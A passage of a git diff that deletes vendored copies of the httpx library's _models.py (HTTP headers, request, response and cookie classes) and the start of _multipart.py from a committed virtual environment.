return links - for val in re.split(", *<", value): - try: - url, params = val.split(";", 1) - except ValueError: - url, params = val, "" - link = {"url": url.strip("<> '\"")} - for param in params.split(";"): - try: - key, value = param.split("=") - except ValueError: - break - link[key.strip(replace_chars)] = value.strip(replace_chars) - links.append(link) - return links - - -def _obfuscate_sensitive_headers( - items: typing.Iterable[tuple[typing.AnyStr, typing.AnyStr]], -) -> typing.Iterator[tuple[typing.AnyStr, typing.AnyStr]]: - for k, v in items: - if to_str(k.lower()) in SENSITIVE_HEADERS: - v = to_bytes_or_str("[secure]", match_type_of=v) - yield k, v - - -class Headers(typing.MutableMapping[str, str]): - """ - HTTP headers, as a case-insensitive multi-dict. - """ - - def __init__( - self, - headers: HeaderTypes | None = None, - encoding: str | None = None, - ) -> None: - self._list = [] # type: typing.List[typing.Tuple[bytes, bytes, bytes]] - - if isinstance(headers, Headers): - self._list = list(headers._list) - elif isinstance(headers, Mapping): - for k, v in headers.items(): - bytes_key = _normalize_header_key(k, encoding) - bytes_value = _normalize_header_value(v, encoding) - self._list.append((bytes_key, bytes_key.lower(), bytes_value)) - elif headers is not None: - for k, v in headers: - bytes_key = _normalize_header_key(k, encoding) - bytes_value = _normalize_header_value(v, encoding) - self._list.append((bytes_key, bytes_key.lower(), bytes_value)) - - self._encoding = encoding - - @property - def encoding(self) -> str: - """ - Header encoding is mandated as ascii, but we allow fallbacks to utf-8 - or iso-8859-1. - """ - if self._encoding is None: - for encoding in ["ascii", "utf-8"]: - for key, value in self.raw: - try: - key.decode(encoding) - value.decode(encoding) - except UnicodeDecodeError: - break - else: - # The else block runs if 'break' did not occur, meaning - # all values fitted the encoding. - self._encoding = encoding - break - else: - # The ISO-8859-1 encoding covers all 256 code points in a byte, - # so will never raise decode errors. - self._encoding = "iso-8859-1" - return self._encoding - - @encoding.setter - def encoding(self, value: str) -> None: - self._encoding = value - - @property - def raw(self) -> list[tuple[bytes, bytes]]: - """ - Returns a list of the raw header items, as byte pairs. - """ - return [(raw_key, value) for raw_key, _, value in self._list] - - def keys(self) -> typing.KeysView[str]: - return {key.decode(self.encoding): None for _, key, value in self._list}.keys() - - def values(self) -> typing.ValuesView[str]: - values_dict: dict[str, str] = {} - for _, key, value in self._list: - str_key = key.decode(self.encoding) - str_value = value.decode(self.encoding) - if str_key in values_dict: - values_dict[str_key] += f", {str_value}" - else: - values_dict[str_key] = str_value - return values_dict.values() - - def items(self) -> typing.ItemsView[str, str]: - """ - Return `(key, value)` items of headers. Concatenate headers - into a single comma separated value when a key occurs multiple times. - """ - values_dict: dict[str, str] = {} - for _, key, value in self._list: - str_key = key.decode(self.encoding) - str_value = value.decode(self.encoding) - if str_key in values_dict: - values_dict[str_key] += f", {str_value}" - else: - values_dict[str_key] = str_value - return values_dict.items() - - def multi_items(self) -> list[tuple[str, str]]: - """ - Return a list of `(key, value)` pairs of headers. Allow multiple - occurrences of the same key without concatenating into a single - comma separated value. - """ - return [ - (key.decode(self.encoding), value.decode(self.encoding)) - for _, key, value in self._list - ] - - def get(self, key: str, default: typing.Any = None) -> typing.Any: - """ - Return a header value. If multiple occurrences of the header occur - then concatenate them together with commas. - """ - try: - return self[key] - except KeyError: - return default - - def get_list(self, key: str, split_commas: bool = False) -> list[str]: - """ - Return a list of all header values for a given key. - If `split_commas=True` is passed, then any comma separated header - values are split into multiple return strings. - """ - get_header_key = key.lower().encode(self.encoding) - - values = [ - item_value.decode(self.encoding) - for _, item_key, item_value in self._list - if item_key.lower() == get_header_key - ] - - if not split_commas: - return values - - split_values = [] - for value in values: - split_values.extend([item.strip() for item in value.split(",")]) - return split_values - - def update(self, headers: HeaderTypes | None = None) -> None: # type: ignore - headers = Headers(headers) - for key in headers.keys(): - if key in self: - self.pop(key) - self._list.extend(headers._list) - - def copy(self) -> Headers: - return Headers(self, encoding=self.encoding) - - def __getitem__(self, key: str) -> str: - """ - Return a single header value. - - If there are multiple headers with the same key, then we concatenate - them with commas. See: https://tools.ietf.org/html/rfc7230#section-3.2.2 - """ - normalized_key = key.lower().encode(self.encoding) - - items = [ - header_value.decode(self.encoding) - for _, header_key, header_value in self._list - if header_key == normalized_key - ] - - if items: - return ", ".join(items) - - raise KeyError(key) - - def __setitem__(self, key: str, value: str) -> None: - """ - Set the header `key` to `value`, removing any duplicate entries. - Retains insertion order. - """ - set_key = key.encode(self._encoding or "utf-8") - set_value = value.encode(self._encoding or "utf-8") - lookup_key = set_key.lower() - - found_indexes = [ - idx - for idx, (_, item_key, _) in enumerate(self._list) - if item_key == lookup_key - ] - - for idx in reversed(found_indexes[1:]): - del self._list[idx] - - if found_indexes: - idx = found_indexes[0] - self._list[idx] = (set_key, lookup_key, set_value) - else: - self._list.append((set_key, lookup_key, set_value)) - - def __delitem__(self, key: str) -> None: - """ - Remove the header `key`. - """ - del_key = key.lower().encode(self.encoding) - - pop_indexes = [ - idx - for idx, (_, item_key, _) in enumerate(self._list) - if item_key.lower() == del_key - ] - - if not pop_indexes: - raise KeyError(key) - - for idx in reversed(pop_indexes): - del self._list[idx] - - def __contains__(self, key: typing.Any) -> bool: - header_key = key.lower().encode(self.encoding) - return header_key in [key for _, key, _ in self._list] - - def __iter__(self) -> typing.Iterator[typing.Any]: - return iter(self.keys()) - - def __len__(self) -> int: - return len(self._list) - - def __eq__(self, other: typing.Any) -> bool: - try: - other_headers = Headers(other) - except ValueError: - return False - - self_list = [(key, value) for _, key, value in self._list] - other_list = [(key, value) for _, key, value in other_headers._list] - return sorted(self_list) == sorted(other_list) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - - encoding_str = "" - if self.encoding != "ascii": - encoding_str = f", encoding={self.encoding!r}" - - as_list = list(_obfuscate_sensitive_headers(self.multi_items())) - as_dict = dict(as_list) - - no_duplicate_keys = len(as_dict) == len(as_list) - if no_duplicate_keys: - return f"{class_name}({as_dict!r}{encoding_str})" - return f"{class_name}({as_list!r}{encoding_str})" - - -class Request: - def __init__( - self, - method: str, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - stream: SyncByteStream | AsyncByteStream | None = None, - extensions: RequestExtensions | None = None, - ) -> None: - self.method = method.upper() - self.url = URL(url) if params is None else URL(url, params=params) - self.headers = Headers(headers) - self.extensions = {} if extensions is None else dict(extensions) - - if cookies: - Cookies(cookies).set_cookie_header(self) - - if stream is None: - content_type: str | None = self.headers.get("content-type") - headers, stream = encode_request( - content=content, - data=data, - files=files, - json=json, - boundary=get_multipart_boundary_from_content_type( - content_type=content_type.encode(self.headers.encoding) - if content_type - else None - ), - ) - self._prepare(headers) - self.stream = stream - # Load the request body, except for streaming content. - if isinstance(stream, ByteStream): - self.read() - else: - # There's an important distinction between `Request(content=...)`, - # and `Request(stream=...)`. - # - # Using `content=...` implies automatically populated `Host` and content - # headers, of either `Content-Length: ...` or `Transfer-Encoding: chunked`. - # - # Using `stream=...` will not automatically include *any* - # auto-populated headers. - # - # As an end-user you don't really need `stream=...`. It's only - # useful when: - # - # * Preserving the request stream when copying requests, eg for redirects. - # * Creating request instances on the *server-side* of the transport API. - self.stream = stream - - def _prepare(self, default_headers: dict[str, str]) -> None: - for key, value in default_headers.items(): - # Ignore Transfer-Encoding if the Content-Length has been set explicitly. - if key.lower() == "transfer-encoding" and "Content-Length" in self.headers: - continue - self.headers.setdefault(key, value) - - auto_headers: list[tuple[bytes, bytes]] = [] - - has_host = "Host" in self.headers - has_content_length = ( - "Content-Length" in self.headers or "Transfer-Encoding" in self.headers - ) - - if not has_host and self.url.host: - auto_headers.append((b"Host", self.url.netloc)) - if not has_content_length and self.method in ("POST", "PUT", "PATCH"): - auto_headers.append((b"Content-Length", b"0")) - - self.headers = Headers(auto_headers + self.headers.raw) - - @property - def content(self) -> bytes: - if not hasattr(self, "_content"): - raise RequestNotRead() - return self._content - - def read(self) -> bytes: - """ - Read and return the request content. - """ - if not hasattr(self, "_content"): - assert isinstance(self.stream, typing.Iterable) - self._content = b"".join(self.stream) - if not isinstance(self.stream, ByteStream): - # If a streaming request has been read entirely into memory, then - # we can replace the stream with a raw bytes implementation, - # to ensure that any non-replayable streams can still be used. - self.stream = ByteStream(self._content) - return self._content - - async def aread(self) -> bytes: - """ - Read and return the request content. - """ - if not hasattr(self, "_content"): - assert isinstance(self.stream, typing.AsyncIterable) - self._content = b"".join([part async for part in self.stream]) - if not isinstance(self.stream, ByteStream): - # If a streaming request has been read entirely into memory, then - # we can replace the stream with a raw bytes implementation, - # to ensure that any non-replayable streams can still be used. - self.stream = ByteStream(self._content) - return self._content - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - url = str(self.url) - return f"<{class_name}({self.method!r}, {url!r})>" - - def __getstate__(self) -> dict[str, typing.Any]: - return { - name: value - for name, value in self.__dict__.items() - if name not in ["extensions", "stream"] - } - - def __setstate__(self, state: dict[str, typing.Any]) -> None: - for name, value in state.items(): - setattr(self, name, value) - self.extensions = {} - self.stream = UnattachedStream() - - -class Response: - def __init__( - self, - status_code: int, - *, - headers: HeaderTypes | None = None, - content: ResponseContent | None = None, - text: str | None = None, - html: str | None = None, - json: typing.Any = None, - stream: SyncByteStream | AsyncByteStream | None = None, - request: Request | None = None, - extensions: ResponseExtensions | None = None, - history: list[Response] | None = None, - default_encoding: str | typing.Callable[[bytes], str] = "utf-8", - ) -> None: - self.status_code = status_code - self.headers = Headers(headers) - - self._request: Request | None = request - - # When follow_redirects=False and a redirect is received, - # the client will set `response.next_request`. - self.next_request: Request | None = None - - self.extensions = {} if extensions is None else dict(extensions) - self.history = [] if history is None else list(history) - - self.is_closed = False - self.is_stream_consumed = False - - self.default_encoding = default_encoding - - if stream is None: - headers, stream = encode_response(content, text, html, json) - self._prepare(headers) - self.stream = stream - if isinstance(stream, ByteStream): - # Load the response body, except for streaming content. - self.read() - else: - # There's an important distinction between `Response(content=...)`, - # and `Response(stream=...)`. - # - # Using `content=...` implies automatically populated content headers, - # of either `Content-Length: ...` or `Transfer-Encoding: chunked`. - # - # Using `stream=...` will not automatically include any content headers. - # - # As an end-user you don't really need `stream=...`. It's only - # useful when creating response instances having received a stream - # from the transport API. - self.stream = stream - - self._num_bytes_downloaded = 0 - - def _prepare(self, default_headers: dict[str, str]) -> None: - for key, value in default_headers.items(): - # Ignore Transfer-Encoding if the Content-Length has been set explicitly. - if key.lower() == "transfer-encoding" and "content-length" in self.headers: - continue - self.headers.setdefault(key, value) - - @property - def elapsed(self) -> datetime.timedelta: - """ - Returns the time taken for the complete request/response - cycle to complete. - """ - if not hasattr(self, "_elapsed"): - raise RuntimeError( - "'.elapsed' may only be accessed after the response " - "has been read or closed." - ) - return self._elapsed - - @elapsed.setter - def elapsed(self, elapsed: datetime.timedelta) -> None: - self._elapsed = elapsed - - @property - def request(self) -> Request: - """ - Returns the request instance associated to the current response. - """ - if self._request is None: - raise RuntimeError( - "The request instance has not been set on this response." - ) - return self._request - - @request.setter - def request(self, value: Request) -> None: - self._request = value - - @property - def http_version(self) -> str: - try: - http_version: bytes = self.extensions["http_version"] - except KeyError: - return "HTTP/1.1" - else: - return http_version.decode("ascii", errors="ignore") - - @property - def reason_phrase(self) -> str: - try: - reason_phrase: bytes = self.extensions["reason_phrase"] - except KeyError: - return codes.get_reason_phrase(self.status_code) - else: - return reason_phrase.decode("ascii", errors="ignore") - - @property - def url(self) -> URL: - """ - Returns the URL for which the request was made. - """ - return self.request.url - - @property - def content(self) -> bytes: - if not hasattr(self, "_content"): - raise ResponseNotRead() - return self._content - - @property - def text(self) -> str: - if not hasattr(self, "_text"): - content = self.content - if not content: - self._text = "" - else: - decoder = TextDecoder(encoding=self.encoding or "utf-8") - self._text = "".join([decoder.decode(self.content), decoder.flush()]) - return self._text - - @property - def encoding(self) -> str | None: - """ - Return an encoding to use for decoding the byte content into text. - The priority for determining this is given by... - - * `.encoding = <>` has been set explicitly. - * The encoding as specified by the charset parameter in the Content-Type header. - * The encoding as determined by `default_encoding`, which may either be - a string like "utf-8" indicating the encoding to use, or may be a callable - which enables charset autodetection. - """ - if not hasattr(self, "_encoding"): - encoding = self.charset_encoding - if encoding is None or not _is_known_encoding(encoding): - if isinstance(self.default_encoding, str): - encoding = self.default_encoding - elif hasattr(self, "_content"): - encoding = self.default_encoding(self._content) - self._encoding = encoding or "utf-8" - return self._encoding - - @encoding.setter - def encoding(self, value: str) -> None: - """ - Set the encoding to use for decoding the byte content into text. - - If the `text` attribute has been accessed, attempting to set the - encoding will throw a ValueError. - """ - if hasattr(self, "_text"): - raise ValueError( - "Setting encoding after `text` has been accessed is not allowed." - ) - self._encoding = value - - @property - def charset_encoding(self) -> str | None: - """ - Return the encoding, as specified by the Content-Type header. - """ - content_type = self.headers.get("Content-Type") - if content_type is None: - return None - - return _parse_content_type_charset(content_type) - - def _get_content_decoder(self) -> ContentDecoder: - """ - Returns a decoder instance which can be used to decode the raw byte - content, depending on the Content-Encoding used in the response. - """ - if not hasattr(self, "_decoder"): - decoders: list[ContentDecoder] = [] - values = self.headers.get_list("content-encoding", split_commas=True) - for value in values: - value = value.strip().lower() - try: - decoder_cls = SUPPORTED_DECODERS[value] - decoders.append(decoder_cls()) - except KeyError: - continue - - if len(decoders) == 1: - self._decoder = decoders[0] - elif len(decoders) > 1: - self._decoder = MultiDecoder(children=decoders) - else: - self._decoder = IdentityDecoder() - - return self._decoder - - @property - def is_informational(self) -> bool: - """ - A property which is `True` for 1xx status codes, `False` otherwise. - """ - return codes.is_informational(self.status_code) - - @property - def is_success(self) -> bool: - """ - A property which is `True` for 2xx status codes, `False` otherwise. - """ - return codes.is_success(self.status_code) - - @property - def is_redirect(self) -> bool: - """ - A property which is `True` for 3xx status codes, `False` otherwise. - - Note that not all responses with a 3xx status code indicate a URL redirect. - - Use `response.has_redirect_location` to determine responses with a properly - formed URL redirection. - """ - return codes.is_redirect(self.status_code) - - @property - def is_client_error(self) -> bool: - """ - A property which is `True` for 4xx status codes, `False` otherwise. - """ - return codes.is_client_error(self.status_code) - - @property - def is_server_error(self) -> bool: - """ - A property which is `True` for 5xx status codes, `False` otherwise. - """ - return codes.is_server_error(self.status_code) - - @property - def is_error(self) -> bool: - """ - A property which is `True` for 4xx and 5xx status codes, `False` otherwise. - """ - return codes.is_error(self.status_code) - - @property - def has_redirect_location(self) -> bool: - """ - Returns True for 3xx responses with a properly formed URL redirection, - `False` otherwise. - """ - return ( - self.status_code - in ( - # 301 (Cacheable redirect. Method may change to GET.) - codes.MOVED_PERMANENTLY, - # 302 (Uncacheable redirect. Method may change to GET.) - codes.FOUND, - # 303 (Client should make a GET or HEAD request.) - codes.SEE_OTHER, - # 307 (Equiv. 302, but retain method) - codes.TEMPORARY_REDIRECT, - # 308 (Equiv. 301, but retain method) - codes.PERMANENT_REDIRECT, - ) - and "Location" in self.headers - ) - - def raise_for_status(self) -> Response: - """ - Raise the `HTTPStatusError` if one occurred. - """ - request = self._request - if request is None: - raise RuntimeError( - "Cannot call `raise_for_status` as the request " - "instance has not been set on this response." - ) - - if self.is_success: - return self - - if self.has_redirect_location: - message = ( - "{error_type} '{0.status_code} {0.reason_phrase}' for url '{0.url}'\n" - "Redirect location: '{0.headers[location]}'\n" - "For more information check: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/{0.status_code}" - ) - else: - message = ( - "{error_type} '{0.status_code} {0.reason_phrase}' for url '{0.url}'\n" - "For more information check: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/{0.status_code}" - ) - - status_class = self.status_code // 100 - error_types = { - 1: "Informational response", - 3: "Redirect response", - 4: "Client error", - 5: "Server error", - } - error_type = error_types.get(status_class, "Invalid status code") - message = message.format(self, error_type=error_type) - raise HTTPStatusError(message, request=request, response=self) - - def json(self, **kwargs: typing.Any) -> typing.Any: - return jsonlib.loads(self.content, **kwargs) - - @property - def cookies(self) -> Cookies: - if not hasattr(self, "_cookies"): - self._cookies = Cookies() - self._cookies.extract_cookies(self) - return self._cookies - - @property - def links(self) -> dict[str | None, dict[str, str]]: - """ - Returns the parsed header links of the response, if any - """ - header = self.headers.get("link") - if header is None: - return {} - - return { - (link.get("rel") or link.get("url")): link - for link in _parse_header_links(header) - } - - @property - def num_bytes_downloaded(self) -> int: - return self._num_bytes_downloaded - - def __repr__(self) -> str: - return f"" - - def __getstate__(self) -> dict[str, typing.Any]: - return { - name: value - for name, value in self.__dict__.items() - if name not in ["extensions", "stream", "is_closed", "_decoder"] - } - - def __setstate__(self, state: dict[str, typing.Any]) -> None: - for name, value in state.items(): - setattr(self, name, value) - self.is_closed = True - self.extensions = {} - self.stream = UnattachedStream() - - def read(self) -> bytes: - """ - Read and return the response content. - """ - if not hasattr(self, "_content"): - self._content = b"".join(self.iter_bytes()) - return self._content - - def iter_bytes(self, chunk_size: int | None = None) -> typing.Iterator[bytes]: - """ - A byte-iterator over the decoded response content. - This allows us to handle gzip, deflate, brotli, and zstd encoded responses. - """ - if hasattr(self, "_content"): - chunk_size = len(self._content) if chunk_size is None else chunk_size - for i in range(0, len(self._content), max(chunk_size, 1)): - yield self._content[i : i + chunk_size] - else: - decoder = self._get_content_decoder() - chunker = ByteChunker(chunk_size=chunk_size) - with request_context(request=self._request): - for raw_bytes in self.iter_raw(): - decoded = decoder.decode(raw_bytes) - for chunk in chunker.decode(decoded): - yield chunk - decoded = decoder.flush() - for chunk in chunker.decode(decoded): - yield chunk # pragma: no cover - for chunk in chunker.flush(): - yield chunk - - def iter_text(self, chunk_size: int | None = None) -> typing.Iterator[str]: - """ - A str-iterator over the decoded response content - that handles both gzip, deflate, etc but also detects the content's - string encoding. - """ - decoder = TextDecoder(encoding=self.encoding or "utf-8") - chunker = TextChunker(chunk_size=chunk_size) - with request_context(request=self._request): - for byte_content in self.iter_bytes(): - text_content = decoder.decode(byte_content) - for chunk in chunker.decode(text_content): - yield chunk - text_content = decoder.flush() - for chunk in chunker.decode(text_content): - yield chunk # pragma: no cover - for chunk in chunker.flush(): - yield chunk - - def iter_lines(self) -> typing.Iterator[str]: - decoder = LineDecoder() - with request_context(request=self._request): - for text in self.iter_text(): - for line in decoder.decode(text): - yield line - for line in decoder.flush(): - yield line - - def iter_raw(self, chunk_size: int | None = None) -> typing.Iterator[bytes]: - """ - A byte-iterator over the raw response content. - """ - if self.is_stream_consumed: - raise StreamConsumed() - if self.is_closed: - raise StreamClosed() - if not isinstance(self.stream, SyncByteStream): - raise RuntimeError("Attempted to call a sync iterator on an async stream.") - - self.is_stream_consumed = True - self._num_bytes_downloaded = 0 - chunker = ByteChunker(chunk_size=chunk_size) - - with request_context(request=self._request): - for raw_stream_bytes in self.stream: - self._num_bytes_downloaded += len(raw_stream_bytes) - for chunk in chunker.decode(raw_stream_bytes): - yield chunk - - for chunk in chunker.flush(): - yield chunk - - self.close() - - def close(self) -> None: - """ - Close the response and release the connection. - Automatically called if the response body is read to completion. - """ - if not isinstance(self.stream, SyncByteStream): - raise RuntimeError("Attempted to call an sync close on an async stream.") - - if not self.is_closed: - self.is_closed = True - with request_context(request=self._request): - self.stream.close() - - async def aread(self) -> bytes: - """ - Read and return the response content. - """ - if not hasattr(self, "_content"): - self._content = b"".join([part async for part in self.aiter_bytes()]) - return self._content - - async def aiter_bytes( - self, chunk_size: int | None = None - ) -> typing.AsyncIterator[bytes]: - """ - A byte-iterator over the decoded response content. - This allows us to handle gzip, deflate, brotli, and zstd encoded responses. - """ - if hasattr(self, "_content"): - chunk_size = len(self._content) if chunk_size is None else chunk_size - for i in range(0, len(self._content), max(chunk_size, 1)): - yield self._content[i : i + chunk_size] - else: - decoder = self._get_content_decoder() - chunker = ByteChunker(chunk_size=chunk_size) - with request_context(request=self._request): - async for raw_bytes in self.aiter_raw(): - decoded = decoder.decode(raw_bytes) - for chunk in chunker.decode(decoded): - yield chunk - decoded = decoder.flush() - for chunk in chunker.decode(decoded): - yield chunk # pragma: no cover - for chunk in chunker.flush(): - yield chunk - - async def aiter_text( - self, chunk_size: int | None = None - ) -> typing.AsyncIterator[str]: - """ - A str-iterator over the decoded response content - that handles both gzip, deflate, etc but also detects the content's - string encoding. - """ - decoder = TextDecoder(encoding=self.encoding or "utf-8") - chunker = TextChunker(chunk_size=chunk_size) - with request_context(request=self._request): - async for byte_content in self.aiter_bytes(): - text_content = decoder.decode(byte_content) - for chunk in chunker.decode(text_content): - yield chunk - text_content = decoder.flush() - for chunk in chunker.decode(text_content): - yield chunk # pragma: no cover - for chunk in chunker.flush(): - yield chunk - - async def aiter_lines(self) -> typing.AsyncIterator[str]: - decoder = LineDecoder() - with request_context(request=self._request): - async for text in self.aiter_text(): - for line in decoder.decode(text): - yield line - for line in decoder.flush(): - yield line - - async def aiter_raw( - self, chunk_size: int | None = None - ) -> typing.AsyncIterator[bytes]: - """ - A byte-iterator over the raw response content. - """ - if self.is_stream_consumed: - raise StreamConsumed() - if self.is_closed: - raise StreamClosed() - if not isinstance(self.stream, AsyncByteStream): - raise RuntimeError("Attempted to call an async iterator on an sync stream.") - - self.is_stream_consumed = True - self._num_bytes_downloaded = 0 - chunker = ByteChunker(chunk_size=chunk_size) - - with request_context(request=self._request): - async for raw_stream_bytes in self.stream: - self._num_bytes_downloaded += len(raw_stream_bytes) - for chunk in chunker.decode(raw_stream_bytes): - yield chunk - - for chunk in chunker.flush(): - yield chunk - - await self.aclose() - - async def aclose(self) -> None: - """ - Close the response and release the connection. - Automatically called if the response body is read to completion. - """ - if not isinstance(self.stream, AsyncByteStream): - raise RuntimeError("Attempted to call an async close on an sync stream.") - - if not self.is_closed: - self.is_closed = True - with request_context(request=self._request): - await self.stream.aclose() - - -class Cookies(typing.MutableMapping[str, str]): - """ - HTTP Cookies, as a mutable mapping. - """ - - def __init__(self, cookies: CookieTypes | None = None) -> None: - if cookies is None or isinstance(cookies, dict): - self.jar = CookieJar() - if isinstance(cookies, dict): - for key, value in cookies.items(): - self.set(key, value) - elif isinstance(cookies, list): - self.jar = CookieJar() - for key, value in cookies: - self.set(key, value) - elif isinstance(cookies, Cookies): - self.jar = CookieJar() - for cookie in cookies.jar: - self.jar.set_cookie(cookie) - else: - self.jar = cookies - - def extract_cookies(self, response: Response) -> None: - """ - Loads any cookies based on the response `Set-Cookie` headers. - """ - urllib_response = self._CookieCompatResponse(response) - urllib_request = self._CookieCompatRequest(response.request) - - self.jar.extract_cookies(urllib_response, urllib_request) # type: ignore - - def set_cookie_header(self, request: Request) -> None: - """ - Sets an appropriate 'Cookie:' HTTP header on the `Request`. - """ - urllib_request = self._CookieCompatRequest(request) - self.jar.add_cookie_header(urllib_request) - - def set(self, name: str, value: str, domain: str = "", path: str = "/") -> None: - """ - Set a cookie value by name. May optionally include domain and path. - """ - kwargs = { - "version": 0, - "name": name, - "value": value, - "port": None, - "port_specified": False, - "domain": domain, - "domain_specified": bool(domain), - "domain_initial_dot": domain.startswith("."), - "path": path, - "path_specified": bool(path), - "secure": False, - "expires": None, - "discard": True, - "comment": None, - "comment_url": None, - "rest": {"HttpOnly": None}, - "rfc2109": False, - } - cookie = Cookie(**kwargs) # type: ignore - self.jar.set_cookie(cookie) - - def get( # type: ignore - self, - name: str, - default: str | None = None, - domain: str | None = None, - path: str | None = None, - ) -> str | None: - """ - Get a cookie by name. May optionally include domain and path - in order to specify exactly which cookie to retrieve. - """ - value = None - for cookie in self.jar: - if cookie.name == name: - if domain is None or cookie.domain == domain: - if path is None or cookie.path == path: - if value is not None: - message = f"Multiple cookies exist with name={name}" - raise CookieConflict(message) - value = cookie.value - - if value is None: - return default - return value - - def delete( - self, - name: str, - domain: str | None = None, - path: str | None = None, - ) -> None: - """ - Delete a cookie by name. May optionally include domain and path - in order to specify exactly which cookie to delete. - """ - if domain is not None and path is not None: - return self.jar.clear(domain, path, name) - - remove = [ - cookie - for cookie in self.jar - if cookie.name == name - and (domain is None or cookie.domain == domain) - and (path is None or cookie.path == path) - ] - - for cookie in remove: - self.jar.clear(cookie.domain, cookie.path, cookie.name) - - def clear(self, domain: str | None = None, path: str | None = None) -> None: - """ - Delete all cookies. Optionally include a domain and path in - order to only delete a subset of all the cookies. - """ - args = [] - if domain is not None: - args.append(domain) - if path is not None: - assert domain is not None - args.append(path) - self.jar.clear(*args) - - def update(self, cookies: CookieTypes | None = None) -> None: # type: ignore - cookies = Cookies(cookies) - for cookie in cookies.jar: - self.jar.set_cookie(cookie) - - def __setitem__(self, name: str, value: str) -> None: - return self.set(name, value) - - def __getitem__(self, name: str) -> str: - value = self.get(name) - if value is None: - raise KeyError(name) - return value - - def __delitem__(self, name: str) -> None: - return self.delete(name) - - def __len__(self) -> int: - return len(self.jar) - - def __iter__(self) -> typing.Iterator[str]: - return (cookie.name for cookie in self.jar) - - def __bool__(self) -> bool: - for _ in self.jar: - return True - return False - - def __repr__(self) -> str: - cookies_repr = ", ".join( - [ - f"" - for cookie in self.jar - ] - ) - - return f"" - - class _CookieCompatRequest(urllib.request.Request): - """ - Wraps a `Request` instance up in a compatibility interface suitable - for use with `CookieJar` operations. - """ - - def __init__(self, request: Request) -> None: - super().__init__( - url=str(request.url), - headers=dict(request.headers), - method=request.method, - ) - self.request = request - - def add_unredirected_header(self, key: str, value: str) -> None: - super().add_unredirected_header(key, value) - self.request.headers[key] = value - - class _CookieCompatResponse: - """ - Wraps a `Request` instance up in a compatibility interface suitable - for use with `CookieJar` operations. - """ - - def __init__(self, response: Response) -> None: - self.response = response - - def info(self) -> email.message.Message: - info = email.message.Message() - for key, value in self.response.headers.multi_items(): - # Note that setting `info[key]` here is an "append" operation, - # not a "replace" operation. - # https://docs.python.org/3/library/email.compat32-message.html#email.message.Message.__setitem__ - info[key] = value - return info diff --git a/venv/Lib/site-packages/httpx/_multipart.py b/venv/Lib/site-packages/httpx/_multipart.py deleted file mode 100644 index b4761af9b2cf384de5189269927d781a700dbe46..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_multipart.py +++ /dev/null @@ -1,300 +0,0 @@ -from __future__ import annotations - -import io -import mimetypes -import os -import re -import typing -from pathlib import Path - -from ._types import ( - AsyncByteStream, - FileContent, - FileTypes, - RequestData, - RequestFiles, - SyncByteStream, -) -from ._utils import ( - peek_filelike_length, - primitive_value_to_str, - to_bytes, -) - -_HTML5_FORM_ENCODING_REPLACEMENTS = {'"': "%22", "\\": "\\\\"} -_HTML5_FORM_ENCODING_REPLACEMENTS.update( - {chr(c): "%{:02X}".format(c) for c in range(0x1F + 1) if c != 0x1B} -) -_HTML5_FORM_ENCODING_RE = re.compile( - r"|".join([re.escape(c) for c in _HTML5_FORM_ENCODING_REPLACEMENTS.keys()]) -) - - -def _format_form_param(name: str, value: str) -> bytes: - """ - Encode a name/value pair within a multipart form. - """ - - def replacer(match: typing.Match[str]) -> str: - return _HTML5_FORM_ENCODING_REPLACEMENTS[match.group(0)] - - value = _HTML5_FORM_ENCODING_RE.sub(replacer, value) - return f'{name}="{value}"'.encode() - - -def _guess_content_type(filename: str | None) -> str | None: - """ - Guesses the mimetype based on a filename. Defaults to `application/octet-stream`. - - Returns `None` if `filename` is `None` or empty. - """ - if filename: - return mimetypes.guess_type(filename)[0] or "application/octet-stream" - return None - - -def get_multipart_boundary_from_content_type( - content_type: bytes | None, -) -> bytes | None: - if not content_type or not content_type.startswith(b"multipart/form-data"): - return None - # parse boundary according to - # https://www.rfc-editor.org/rfc/rfc2046#section-5.1.1 - if b";" in content_type: - for section in content_type.split(b";"): - if section.strip().lower().startswith(b"boundary="): - return section.strip()[len(b"boundary=") :].strip(b'"') - return None - - -class DataField: - """ - A single form field item, within a multipart form field. - """ - - def __init__(self, name: str, value: str | bytes | int | float | None) -> None: - if not isinstance(name, str): - raise TypeError( - f"Invalid type for name. Expected str, got {type(name)}: {name!r}" - ) - if value is not None and not isinstance(value, (str, bytes, int, float)): - raise TypeError( - "Invalid type for value. Expected primitive type," - f" got {type(value)}: {value!r}" - ) - self.name = name - self.value: str | bytes = ( - value if isinstance(value, bytes) else primitive_value_to_str(value) - ) - - def render_headers(self) -> bytes: - if not hasattr(self, "_headers"): - name = _format_form_param("name", self.name) - self._headers = b"".join( - [b"Content-Disposition: form-data; ", name, b"\r\n\r\n"] - ) - - return self._headers - - def render_data(self) -> bytes: - if not hasattr(self, "_data"): - self._data = to_bytes(self.value) - - return self._data - - def get_length(self) -> int: - headers = self.render_headers() - data = self.render_data() - return len(headers) + len(data) - - def render(self) -> typing.Iterator[bytes]: - yield self.render_headers() - yield self.render_data() - - -class FileField: - """ - A single file field item, within a multipart form field. - """ - - CHUNK_SIZE = 64 * 1024 - - def __init__(self, name: str, value: FileTypes) -> None: - self.name = name - - fileobj: FileContent - - headers: dict[str, str] = {} - content_type: str | None = None - - # This large tuple based API largely mirror's requests' API - # It would be good to think of better APIs for this that we could - # include in httpx 2.0 since variable length tuples(especially of 4 elements) - # are quite unwieldly - if isinstance(value, tuple): - if len(value) == 2: - # neither the 3rd parameter (content_type) nor the 4th (headers) - # was included - filename, fileobj = value - elif len(value) == 3: - filename, fileobj, content_type = value - else: - # all 4 parameters included - filename, fileobj, content_type, headers = value # type: ignore - else: - filename = Path(str(getattr(value, "name", "upload"))).name - fileobj = value - - if content_type is None: - content_type = _guess_content_type(filename) - - has_content_type_header = any("content-type" in key.lower() for key in headers) - if content_type is not None and not has_content_type_header: - # note that unlike requests, we ignore the content_type provided in the 3rd - # tuple element if it is also included in the headers requests does - # the opposite (it overwrites the headerwith the 3rd tuple element) - headers["Content-Type"] = content_type - - if isinstance(fileobj, io.StringIO): - raise TypeError( - "Multipart file uploads require 'io.BytesIO', not 'io.StringIO'." - ) - if isinstance(fileobj, io.TextIOBase): - raise TypeError( - "Multipart file 